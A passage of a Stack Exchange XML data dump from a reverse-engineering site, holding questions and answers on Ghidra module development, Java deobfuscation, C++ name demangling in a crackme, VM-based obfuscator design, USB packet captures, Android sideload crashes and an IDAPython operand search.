  <row Id="24944" PostTypeId="4" CreationDate="2020-05-07T13:28:10.220" Score="0" Body="BIOS (basic input/output system) is a special program to get the computer system started after you turn it on." OwnerUserId="30460" LastEditorUserId="30460" LastEditDate="2020-05-09T00:09:17.533" LastActivityDate="2020-05-09T00:09:17.533" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24945" PostTypeId="5" CreationDate="2020-05-07T13:33:13.133" Score="0" Body="&lt;p&gt;Command line is the basic text based interface between a human and an operating system. It consists of a prompt, and lets the human type text commands, and get responses from the operating system, often also in text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It can be contrasted with windows based GUIs.&lt;/p&gt;&#xA;" OwnerUserId="30460" LastEditorUserId="30460" LastEditDate="2020-05-09T00:08:47.580" LastActivityDate="2020-05-09T00:08:47.580" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24946" PostTypeId="4" CreationDate="2020-05-07T13:33:13.133" Score="0" Body="Command line is the basic interface between a human and an operating system. It consists of a prompt, and lets the human type text commands." OwnerUserId="30460" LastEditorUserId="30460" LastEditDate="2020-05-09T00:08:55.077" LastActivityDate="2020-05-09T00:08:55.077" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24947" PostTypeId="2" ParentId="3688" CreationDate="2020-05-07T22:22:44.877" Score="1" Body="&lt;p&gt;I was also struggling with this, until I realized that if the function uses a custom calling convention. args[n] assumes the default calling convention. For custom calling conventions, in this case __thiscall scheme, the pointer to this is on ecx register (accessible through this.context.ecx).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps anyone!&lt;/p&gt;&#xA;" OwnerUserId="33138" LastActivityDate="2020-05-07T22:22:44.877" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24948" PostTypeId="1" CreationDate="2020-05-08T03:42:56.843" Score="2" ViewCount="272" Body="&lt;p&gt;I've given myself a project of writing Ghidra Loaders and FileSystems for an 8-bit retrocomputing platform, namely the Sinclair ZX Spectrum. But I'm new to Ghidra, Java, and Eclipse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When developing a Ghidra Loader Module you deal with one single file, parse its headers and format to tell Ghidra which pieces of the file it needs, what memory regions it would load to, where its entry points are, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is fine because there are file formats that have been devised for retro system emulators to encapsulate a single game etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there are also files for those emulators which represent disk images and cassette tape images containing multiple files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But unlike modern systems, files in these old disks are just arrays of bytes. They don't have a format, a header, or any magic word bytes to identify them. Any metadata needed to load and run them is part of the disk format, not part of the file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I've figured out how to make a Ghidra FileSystem but I can't see a way to pass this file metadata directly to Ghidra from the FileSystem. Instead, I only find a way to pass a byte stream to Ghidra, which then gets passed to the Loader system, which relies on identifying the byte stream by looking for recognizable file formats/headers/magic bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Must I then create &quot;fake&quot; wrappers for these files that make them identifiable and create a matching Loader that recognizes them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is there a system already present in Ghidra for passing metadata directly along with such &quot;raw&quot; binary files that I just haven't discovered?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ghidra FileSystems cover things such as disk image files, archive and compression formats, and even fat executable binaries. It's quite possible there are already FileSystem modules in there for formats that package raw binary code blobs. How do they do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(By the way, the only other &lt;a href=&quot;https://github.com/zeroKilo/C64LoaderWV&quot; rel=&quot;nofollow noreferrer&quot;&gt;project I've found so far that tackles a retro disk image format&lt;/a&gt; uses a hack to list the files in the Loader option dialog rather than making a FileSystem.)&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2020-05-08T04:03:18.083" LastActivityDate="2020-05-08T04:03:18.083" Title="Writing a Ghidra FileSystem Module for 8-bit era disk images in which files have no header, format, or magic bytes" Tags="|file-format|ghidra|binary-format|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24949" PostTypeId="1" CreationDate="2020-05-08T12:12:47.583" Score="1" ViewCount="609" Body="&lt;p&gt;I've got a jar file, that is strong obfuscated.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When I tried to put it into decompilers such as bytecode-viewer and luyten I seen many lines of traps and Chinese letters.&lt;/li&gt;&#xA;&lt;li&gt;I tried to deobfuscate it using &lt;a href=&quot;https://github.com/java-deobfuscator/deobfuscator&quot; rel=&quot;nofollow noreferrer&quot;&gt;java-debofuscator&lt;/a&gt; but unfortunately, the deobfuscator crashes. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.mediafire.com/file/yrwfhapn1aqc8km/file_to_deobfuscate.jar/file&quot; rel=&quot;nofollow noreferrer&quot;&gt;download jar file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/fSZAF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/fSZAF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&#xA;Can someone help me or give me advice on how I can deal with it?&#xA;Thanks in advance for any help.&lt;/p&gt;&#xA;" OwnerUserId="33146" LastActivityDate="2020-05-12T09:11:34.870" Title="Working with strong obfuscated Java" Tags="|disassembly|decompilation|java|deobfuscation|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24950" PostTypeId="2" ParentId="24949" CreationDate="2020-05-08T12:38:34.843" Score="1" Body="&lt;p&gt;First off, have you tried &lt;a href=&quot;https://github.com/Storyyeller/Krakatau&quot; rel=&quot;nofollow noreferrer&quot;&gt;the Krakatau decompiler&lt;/a&gt;? Krakatau is designed specifically for working with obfuscated Java bytecode, although the decompiler doesn't support lambdas and isn't very user friendly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, renamed identifiers is not something any tool will able to help you with. You'll just have to reverse engineer it and change them to more meaningful names yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If decompilation fails, you can also try the Krakatau disassembler. The advantage of disassembly is that it always works, no matter how heavily the bytecode has been obfuscated. It lets you see what's really in the bytecode without the risk of things getting messed up by decompilation. The downside is that it's generally a lot harder to read.&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2020-05-08T12:38:34.843" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24951" PostTypeId="1" CreationDate="2020-05-08T12:47:17.047" Score="2" ViewCount="1714" Body="&lt;p&gt;Ghidra comes with its own Eclipse extensions that allows you to develop new Scripts and Modules for Ghidra.&lt;/p&gt;&#xA;&lt;p&gt;I'm working on several new Modules for Ghidra that will work together. But I've basically never used Java or Eclipse before.&lt;/p&gt;&#xA;&lt;p&gt;Normally you're just working on one Module at a time and to test it you launch it in debug mode from the Eclipse IDE.&lt;/p&gt;&#xA;&lt;p&gt;But Ghidra creates one Configuration for each project and will only include the current Module. Everything in your other Modules won't be linked in to Ghidra, even if you've had all their files open in the IDE and you're switching between them, you can only debug with one present at a time.&lt;/p&gt;&#xA;&lt;p&gt;How can I get Ghidra to launch with three Modules I'm working on all together?&lt;/p&gt;&#xA;&lt;p&gt;I've been going through the configuration dialogs and I've Googled various wordings of the problem in relation to Ghidra, in relation to Eclipse, and both together, to no avail.&lt;/p&gt;&#xA;&lt;p&gt;I did clone one of the configurations and add the other modules' projects to that configuration in the &amp;quot;classpath&amp;quot; window, but on launching, only the main module is there. What am I missing?&lt;/p&gt;&#xA;" OwnerUserId="153" LastEditorUserId="153" LastEditDate="2020-10-22T07:03:20.033" LastActivityDate="2020-10-22T07:03:20.033" Title="How to Launch and debug Ghidra from Eclipse with two Modules I'm developing at the same time?" Tags="|debugging|java|ghidra|development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24952" PostTypeId="2" ParentId="24951" CreationDate="2020-05-09T02:56:07.950" Score="3" Body="&lt;p&gt;I figured it out by trial and error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the main Eclipse window:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Click on the dropdown arrow on the &quot;Debug As...&quot; button in the toolbar.&lt;/li&gt;&#xA;&lt;li&gt;Select &quot;Debug Configurations...&quot;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/FNuao.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FNuao.png&quot; alt=&quot;Eclipse &amp;quot;Debug As...&amp;quot; Toolbar&quot;&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;In the Configuration Editor:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You can edit your existing Ghidra configuration for your project or you can make a duplicate of it like I did. Then select that project in the left side.&lt;/li&gt;&#xA;&lt;li&gt;On the right side click on the &quot;Classpath&quot; tab.&lt;/li&gt;&#xA;&lt;li&gt;You will see your main project at the top of the list under the &quot;Bootstrap Entries&quot; section. Collapse this section.&lt;/li&gt;&#xA;&lt;li&gt;You will see there is another section below, currently empty, named &quot;User Entries&quot;.&lt;/li&gt;&#xA;&lt;li&gt;Click on the &quot;Add Projects...&quot; button to the right.&lt;/li&gt;&#xA;&lt;li&gt;Select your other existing project(s).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;That's it. You'll now get the functionality from the main project and the other projects together. You can now verify that by clicking on &quot;Debug&quot; in the bottom right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3MbZu.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3MbZu.png&quot; alt=&quot;Eclipse Configuration Editor&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="153" LastActivityDate="2020-05-09T02:56:07.950" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24953" PostTypeId="1" AcceptedAnswerId="24955" CreationDate="2020-05-09T10:14:28.747" Score="-1" ViewCount="1148" Body="&lt;p&gt;I'm doing a really easy crackmes exercise (&lt;a href=&quot;https://crackmes.one/crackme/5e4ec05c33c5d4439bb2dbea&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://crackmes.one/crackme/5e4ec05c33c5d4439bb2dbea&lt;/a&gt;) and I can't figure out what the binary is doing because functions have extremely weird names. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a small fragment of the main function disassembly code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;0x000000000040102b &amp;lt;+25&amp;gt;:   cmpl   $0x1,-0x84(%rbp)&#xA;   0x0000000000401032 &amp;lt;+32&amp;gt;:    jle    0x40107b &amp;lt;main+105&amp;gt;&#xA;   0x0000000000401034 &amp;lt;+34&amp;gt;:    mov    $0x401750,%esi&#xA;   0x0000000000401039 &amp;lt;+39&amp;gt;:    mov    $0x602200,%edi&#xA;   0x000000000040103e &amp;lt;+44&amp;gt;:    callq  0x400e30 &amp;lt;_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt&amp;gt;&#xA;   0x0000000000401043 &amp;lt;+49&amp;gt;:    mov    $0x400ec0,%esi&#xA;   0x0000000000401048 &amp;lt;+54&amp;gt;:    mov    %rax,%rdi&#xA;   0x000000000040104b &amp;lt;+57&amp;gt;:    callq  0x400ea0 &amp;lt;_ZNSolsEPFRSoS_E@plt&amp;gt;&#xA;   0x0000000000401050 &amp;lt;+62&amp;gt;:    mov    $0x401780,%esi&#xA;   0x0000000000401055 &amp;lt;+67&amp;gt;:    mov    $0x602200,%edi&#xA;   0x000000000040105a &amp;lt;+72&amp;gt;:    callq  0x400e30 &amp;lt;_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt&amp;gt;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How should I approach this code?&lt;/p&gt;&#xA;" OwnerUserId="33134" LastEditorUserId="18317" LastEditDate="2020-05-09T16:42:53.480" LastActivityDate="2020-05-09T19:43:00.537" Title="Weird function names in disassembly (crackmes)" Tags="|crackme|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24954" PostTypeId="2" ParentId="24949" CreationDate="2020-05-09T10:47:18.787" Score="0" Body="&lt;p&gt;You can try to use a tool I created called &lt;a href=&quot;https://github.com/GraxCode/threadtear&quot; rel=&quot;nofollow noreferrer&quot;&gt;Threadtear&lt;/a&gt; to remove those senseless jumps. It is like java-deobfuscator, but with a GUI and support for newer obfuscator versions. Use Generic &gt; Remove obvious flow obfuscation. You can also reobfuscate the class names / method names to get rid of annoying chinese letters.&lt;/p&gt;&#xA;" OwnerUserId="33160" LastEditorUserId="33160" LastEditDate="2020-05-12T09:11:34.870" LastActivityDate="2020-05-12T09:11:34.870" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24955" PostTypeId="2" ParentId="24953" CreationDate="2020-05-09T11:25:37.607" Score="5" Body="&lt;p&gt;Those are C++ mangled names. Some tools like Ghidra will automatically demangle them for you. If you want to see what the function should be named try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;c++filt _ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in your shell to see the demangled name.&lt;/p&gt;&#xA;" OwnerUserId="33161" LastEditorUserId="24222" LastEditDate="2020-05-09T18:08:07.870" LastActivityDate="2020-05-09T18:08:07.870" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24956" PostTypeId="1" AcceptedAnswerId="24957" CreationDate="2020-05-09T12:04:03.223" Score="2" ViewCount="3290" Body="&lt;p&gt;I want to implement a VM based simple proof-of-concept obfuscator. It should take an exe file as input and produce a new pe file with appended vm section. For simplicity let's say the exe file is compiled as a 32 bit pe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that most materials I've found online explain only how to crack and not how to implement such a solution, or just explain how to implement a simple VM with a very limited number of instructions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Architecture&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to build such an architecture as described in &lt;a href=&quot;https://www.sciencedirect.com/science/article/pii/S0167404818300270&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; (Enhance virtual-machine-based code obfuscation security through dynamic bytecode scheduling) paper:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/bpEW5.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bpEW5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me quote it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Fig. 1. A classical process for VM-based code obfuscation.&#xA;To obfuscate the code, we first dissemble the code region to be&#xA;protected into native assembly code (1).&#xA;The assembly code will be mapped into our virtual instructions (2)&#xA;which will then be encoded into a bytecode format (3). Finally,&#xA;the generated byecode will be inserted into a specific region of&#xA;the binary which is linked with a VM library (4).&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say I have implemented a very basic virtual machine with a set of 20 instructions as presented in this&lt;a href=&quot;https://www.youtube.com/watch?v=OjaAToVkoTw&quot; rel=&quot;nofollow noreferrer&quot;&gt; [presentation]&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;iadd, &#xA;isub, &#xA;imul, &#xA;ilt, &#xA;ieq, &#xA;br addr, &#xA;brt addr, &#xA;brf addr, &#xA;iconst value, &#xA;load addr, &#xA;gload addr, &#xA;store addr, &#xA;gstore addr, &#xA;print, &#xA;pop, &#xA;call addr, numArgs&#xA;ret&#xA;hlt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In step 2 (Virtualization), I have to somehow map the extracted Intel instruction set to my virtualized instructions. The Intel instruction set is huge (over 200 instructions).&#xA;And I have completely no idea how to do this. Starting with the fact that my virtual machine uses fewer of registers then Intel does. &lt;/p&gt;&#xA;" OwnerUserId="30384" LastEditorUserId="30460" LastEditDate="2020-05-09T19:10:14.370" LastActivityDate="2020-05-11T07:58:09.343" Title="Virtual machine code obfuscation implementation details" Tags="|obfuscation|deobfuscation|virtual-machines|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24957" PostTypeId="2" ParentId="24956" CreationDate="2020-05-09T13:40:27.677" Score="3" Body="&lt;p&gt;You will need to go through each of the over 200 instructions, and figure out how to do the &quot;same&quot; thing in your instruction set. So you'll need to see how the stack may be changing, the stack pointer, the program counter, and also if any memory or register changes. For differences like not having enough registers, you could set aside a portion of memory to use to store the values that would otherwise be going into the Intel registers. Look out also for endianness of the data, and whether it is 32-bit, 64-bit, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And that's if you can assume that each instruction is independent of the others. The instruction set you're starting from, may have quirks that break this assumption, and you'll need to take care of those. For example, it may have branch delay slots, like in MIPS (&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/19606/understanding-branch-delay-slots-for-reversing-mips&quot;&gt;Understanding branch delay slots for reversing MIPS&lt;/a&gt;), where a condition is evaluated for the branching, and even if the jump/branch happens, the next instruction is evaluated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the mapping may be a challenging task, some people take an alternative approach and start from source code in a high level language (C for instance), and directly compile that to the bytecode of the virtual machine. For example, take a look at the &lt;code&gt;virtualize&lt;/code&gt; transform of the &lt;a href=&quot;https://tigress.wtf/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tigress obfuscator&lt;/a&gt;. The Tigress obfuscation is source-to-source (C to C), so when &lt;code&gt;virtualize&lt;/code&gt; is selected, the resulting C code actually implements the desired virtual machine, and runs the bytecode (compiled for the VM by Tigress) on that virtual machine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But in your case, if you have to start with an exe, then you'll need to work on the mapping.&lt;/p&gt;&#xA;" OwnerUserId="30460" LastEditorUserId="30460" LastEditDate="2020-05-09T16:44:49.993" LastActivityDate="2020-05-09T16:44:49.993" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24958" PostTypeId="2" ParentId="24953" CreationDate="2020-05-09T15:47:46.753" Score="1" Body="&lt;p&gt;Though objdump is a good utility I would recommend using some better utilities to disassemble, like radare2, ghidra or idafree70. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you would prefer objdump, pass it the -C command to demangle those names.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;E:\5e4ec05c33c5d4439bb2dbea&amp;gt;f:\msys64\usr\bin\objdump.exe --start-address=0x401012 --stop-address=0x401043 -M intel -d -C Sh4ll10.1.bin&#xA;&#xA;Sh4ll10.1.bin:     file format elf64-x86-64&#xA;&#xA;&#xA;Disassembly of section .text:&#xA;&#xA;0000000000401012 &amp;lt;main&amp;gt;:&#xA;  401012:       55                      push   rbp&#xA;  401013:       48 89 e5                mov    rbp,rsp&#xA;  401016:       53                      push   rbx&#xA;  401017:       48 81 ec 88 00 00 00    sub    rsp,0x88&#xA;  40101e:       89 bd 7c ff ff ff       mov    DWORD PTR [rbp-0x84],edi&#xA;  401024:       48 89 b5 70 ff ff ff    mov    QWORD PTR [rbp-0x90],rsi&#xA;  40102b:       83 bd 7c ff ff ff 01    cmp    DWORD PTR [rbp-0x84],0x1&#xA;  401032:       7e 47                   jle    40107b &amp;lt;main+0x69&amp;gt;&#xA;  401034:       be 50 17 40 00          mov    esi,0x401750 &#xA;  401039:       bf 00 22 60 00          mov    edi,0x602200&#xA;  40103e:       e8 ed fd ff ff          call   400e30 &amp;lt;std::basic_ostream&amp;lt;char, std::char_traits&amp;lt;char&amp;gt; &amp;gt;&amp;amp; std::operator&amp;lt;&amp;lt; &amp;lt;std::char_traits&amp;lt;char&amp;gt; &amp;gt;(std::basic_ostream&amp;lt;char, std::char_traits&amp;lt;char&amp;gt; &amp;gt;&amp;amp;, char const*)@plt&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="30460" LastEditDate="2020-05-09T19:43:00.537" LastActivityDate="2020-05-09T19:43:00.537" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24959" PostTypeId="1" CreationDate="2020-05-09T17:01:55.343" Score="1" ViewCount="909" Body="&lt;p&gt;I have an executable of a (rather simple) GUI application on Linux, built in Qt5. I am able to run it, and want to find out what happens internally when I press one of the buttons.&#xA;I suspect that the button might not just execute some code but run another executable, which has been packaged into the main one. I want to find out which code is being run, or extract the executable (if my assumption is true), both would be fine. I know roughly what function name to look for, since I can sort of guess it from what the button does and it's tooltip.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The ultimate goal is to isolate the functionality of the button to be able to run it on the terminal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am new to reverse engineering, please excuse if anything I write is wrong or trivial. So far I  have found &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/14209/how-to-reverse-engineer-a-linux-executable-to-find-the-parameters&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/8307/possible-to-capture-replay-gui-functions-by-puppet-stringing/8308#8308&quot;&gt;this&lt;/a&gt; question which are kind of related and use &lt;code&gt;objdump&lt;/code&gt; and &lt;code&gt;readelf&lt;/code&gt;, but so far I had no luck with those.&lt;/p&gt;&#xA;" OwnerUserId="33164" LastActivityDate="2020-05-10T12:07:25.857" Title="Find code executed on button press in Qt5 Linux application" Tags="|disassembly|linux|qt|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24960" PostTypeId="1" CreationDate="2020-05-09T18:40:12.793" Score="1" ViewCount="1309" Body="&lt;p&gt;Good Day-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have captured via Wireshark some data and am attempting to understand it as well as the communication protocol for USB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This one capture contains the sequence 02010c, which tells me the firmware version of a particular target. Wireshark says the request is in an earlier sequence- but I am not understanding where in that particular request is the actual 'request'. So I believe I am having trouble understanding how the URBs are working.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Frame 32625: 91 bytes on wire (728 bits), 91 bytes captured (728 bits) on interface wireshark_extcap1928, id 0&#xA;    Interface id: 0 (wireshark_extcap1928)&#xA;    Encapsulation type: USB packets with USBPcap header (152)&#xA;    Arrival Time: May  8, 2020 14:02:24.741579000 Eastern Daylight Time&#xA;    [Time shift for this packet: 0.000000000 seconds]&#xA;    Epoch Time: 1588960944.741579000 seconds&#xA;    [Time delta from previous captured frame: 0.000943000 seconds]&#xA;    [Time delta from previous displayed frame: 0.000943000 seconds]&#xA;    [Time since reference or first frame: 141.773912000 seconds]&#xA;    Frame Number: 32625&#xA;    Frame Length: 91 bytes (728 bits)&#xA;    Capture Length: 91 bytes (728 bits)&#xA;    [Frame is marked: False]&#xA;    [Frame is ignored: False]&#xA;    [Protocols in frame: usb]&#xA;USB URB&#xA;    [Source: 3.12.1]&#xA;    [Destination: host]&#xA;    USBPcap pseudoheader length: 27&#xA;    IRP ID: 0xffffd50384c4da20&#xA;    IRP USBD_STATUS: USBD_STATUS_SUCCESS (0x00000000)&#xA;    URB Function: URB_FUNCTION_BULK_OR_INTERRUPT_TRANSFER (0x0009)&#xA;    IRP information: 0x01, Direction: PDO -&amp;gt; FDO&#xA;        0000 000. = Reserved: 0x00&#xA;        .... ...1 = Direction: PDO -&amp;gt; FDO (0x1)&#xA;    URB bus id: 3&#xA;    Device address: 12&#xA;    Endpoint: 0x81, Direction: IN&#xA;        1... .... = Direction: IN (1)&#xA;        .... 0001 = Endpoint number: 1&#xA;    URB transfer type: URB_INTERRUPT (0x01)&#xA;    Packet Data Length: 64&#xA;    [Request in: 32618]&#xA;    [Time from request: 0.008964000 seconds]&#xA;    [bInterfaceClass: HID (0x03)]&#xA;Leftover Capture Data: 7e107bff000882000302010c003500000000000000000000…&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The request that is referenced:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Frame 32618: 27 bytes on wire (216 bits), 27 bytes captured (216 bits) on interface wireshark_extcap1928, id 0&#xA;    Interface id: 0 (wireshark_extcap1928)&#xA;    Encapsulation type: USB packets with USBPcap header (152)&#xA;    Arrival Time: May  8, 2020 14:02:24.732615000 Eastern Daylight Time&#xA;    [Time shift for this packet: 0.000000000 seconds]&#xA;    Epoch Time: 1588960944.732615000 seconds&#xA;    [Time delta from previous captured frame: 0.000033000 seconds]&#xA;    [Time delta from previous displayed frame: 0.000033000 seconds]&#xA;    [Time since reference or first frame: 141.764948000 seconds]&#xA;    Frame Number: 32618&#xA;    Frame Length: 27 bytes (216 bits)&#xA;    Capture Length: 27 bytes (216 bits)&#xA;    [Frame is marked: False]&#xA;    [Frame is ignored: False]&#xA;    [Protocols in frame: usb]&#xA;USB URB&#xA;    [Source: host]&#xA;    [Destination: 3.12.1]&#xA;    USBPcap pseudoheader length: 27&#xA;    IRP ID: 0xffffd50384c4da20&#xA;    IRP USBD_STATUS: USBD_STATUS_SUCCESS (0x00000000)&#xA;    URB Function: URB_FUNCTION_BULK_OR_INTERRUPT_TRANSFER (0x0009)&#xA;    IRP information: 0x00, Direction: FDO -&amp;gt; PDO&#xA;        0000 000. = Reserved: 0x00&#xA;        .... ...0 = Direction: FDO -&amp;gt; PDO (0x0)&#xA;    URB bus id: 3&#xA;    Device address: 12&#xA;    Endpoint: 0x81, Direction: IN&#xA;        1... .... = Direction: IN (1)&#xA;        .... 0001 = Endpoint number: 1&#xA;    URB transfer type: URB_INTERRUPT (0x01)&#xA;    Packet Data Length: 0&#xA;    [Response in: 32625]&#xA;    [bInterfaceClass: HID (0x03)]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've read a number of different examples on in, out, transfer packets. I'm just failing to see how this is working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it as simple as... there's another pair of packets further up(down?) that is sending a command to the end point, and the machine is sitting there waiting to respond with an 'in' request from the host to let it know to send the data?&lt;/p&gt;&#xA;" OwnerUserId="29324" LastActivityDate="2020-05-09T18:40:12.793" Title="USB packet capture; understanding the communication" Tags="|firmware|usb|wireshark|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24961" PostTypeId="1" CreationDate="2020-05-10T00:44:03.520" Score="2" ViewCount="257" Body="&lt;p&gt;On my nougat device, I have downloaded an app from the playstore, which is running great. I then extracted the apk from the installed app, and uninstalled it and again successfully, with the package installer. But the second time on app launch, it crashed. I have analysed both installation with apk analyzer. First one shows com.android.vending as installer and the application source as &amp;quot;Google Play&amp;quot;. Sideload installation shows com.google.android.packageinstaller and source Unkown.&lt;/p&gt;&#xA;&lt;p&gt;My first thought is that developer doesn't want users to install the app from unknown sources to avoid MOD app or pirate release, etc., and is checking programmatically for this parameter. I have decompiled to Java but didn't find any clue where such a condition is begin checked and exception generated.&lt;/p&gt;&#xA;&lt;p&gt;There is a permission BIND_GET_INSTALL_REFERRER_SERVICE, maybe its causing a crash. I know how to decompile and do some smali editing and already changed verifyinstallation method to true in Smali but the app still crashes.&lt;/p&gt;&#xA;" OwnerUserId="33166" LastEditorUserId="27674" LastEditDate="2023-05-16T23:38:51.907" LastActivityDate="2023-12-20T22:13:13.797" Title="App from playstore runs but the same apk crashes on sideload install" Tags="|android|apk|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24962" PostTypeId="2" ParentId="24913" CreationDate="2020-05-10T00:48:01.673" Score="1" Body="&lt;p&gt;There are probably better answers I'd love to know about but let's say you're looking for instructions that have 0x10 as second operand like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cmp eax, 10&#xA;mov esi, 10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could do something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for func in idautils.Functions():&#xA;    flags = idc.get_func_attr(func, FUNCATTR_FLAGS)&#xA;    if flags &amp;amp; FUNC_LIB or flags &amp;amp; FUNC_THUNK:&#xA;        continue&#xA;    dism_addr = list(idautils.FuncItems(func))&#xA;    for cur in dism_addr:&#xA;        if &quot;10h&quot; in idc.print_operand(cur, 1):&#xA;            print &quot;0x%x&quot; % cur, idc.generate_disasm_line(cur, 0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As IDA disassembles 0x10 as 10h, this would work for any instruction where this constant appears. If you need to check other operands I think it's easy to start from the code above. You could also match the mnemonic (CMP, MOV, etc) using &lt;code&gt;idc.print_insn_mnem(cur)&lt;/code&gt; if 